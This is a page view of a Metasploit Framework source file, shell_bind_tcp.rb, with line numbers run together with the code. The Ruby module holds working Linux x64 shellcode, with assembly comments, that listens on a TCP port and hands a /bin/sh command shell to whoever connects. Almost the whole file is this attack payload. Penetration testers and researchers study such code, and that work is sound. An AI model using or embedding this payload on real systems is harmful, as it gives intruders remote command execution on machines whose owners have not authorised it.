Path: blob/master/modules/payloads/singles/linux/x64/shell_bind_tcp.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 8678include Msf::Payload::Single9include Msf::Payload::Linux::X64::Prepends10include Msf::Sessions::CommandShellOptions1112def initialize(info = {})13super(14merge_info(15info,16'Name' => 'Linux Command Shell, Bind TCP Inline',17'Description' => 'Listen for a connection and spawn a command shell',18'Author' => 'ricky',19'License' => MSF_LICENSE,20'Platform' => 'linux',21'Arch' => ARCH_X64,22'Handler' => Msf::Handler::BindTcp,23'Session' => Msf::Sessions::CommandShellUnix,24'Payload' => {25'Offsets' =>26{27'LPORT' => [ 20, 'n' ]28},29'Payload' =>30"\x6a\x29" + # pushq $0x2931"\x58" + # pop %rax32"\x99" + # cltd33"\x6a\x02" + # pushq $0x234"\x5f" + # pop %rdi35"\x6a\x01" + # pushq $0x136"\x5e" + # pop %rsi37"\x0f\x05" + # syscall38"\x48\x97" + # xchg %rax,%rdi39"\x52" + # push %rdx40"\xc7\x04\x24\x02\x00" + # movl $0xb3150002,(%rsp)41"\x15\xb3" \42"\x48\x89\xe6" + # mov %rsp,%rsi43"\x6a\x10" + # pushq $0x1044"\x5a" + # pop %rdx45"\x6a\x31" + # pushq $0x3146"\x58" + # pop %rax47"\x0f\x05" + # syscall48"\x6a\x32" + # pushq $0x3249"\x58" + # pop %rax50"\x0f\x05" + # syscall51"\x48\x31\xf6" + # xor %rsi,%rsi52"\x6a\x2b" + # pushq $0x2b53"\x58" + # pop %rax54"\x0f\x05" + # syscall55"\x48\x97" + # xchg %rax,%rdi56"\x6a\x03" + # pushq $0x357"\x5e" + # pop %rsi58"\x48\xff\xce" + # dec %rsi59"\x6a\x21" + # pushq $0x2160"\x58" + # pop %rax61"\x0f\x05" + # syscall62"\x75\xf6" + # jne 33 <dup2_loop>63"\x6a\x3b" + # pushq $0x3b64"\x58" + # pop %rax65"\x99" + # cltd66"\x48\xbb\x2f\x62\x69\x6e\x2f" + # movabs $0x68732f6e69622f,%rbx67"\x73\x68\x00" \68"\x53" + # push %rbx69"\x48\x89\xe7" + # mov %rsp,%rdi70"\x52" + # push %rdx71"\x57" + # push %rdi72"\x48\x89\xe6" + # mov %rsp,%rsi73"\x0f\x05" # syscall74}75)76)77end78end798081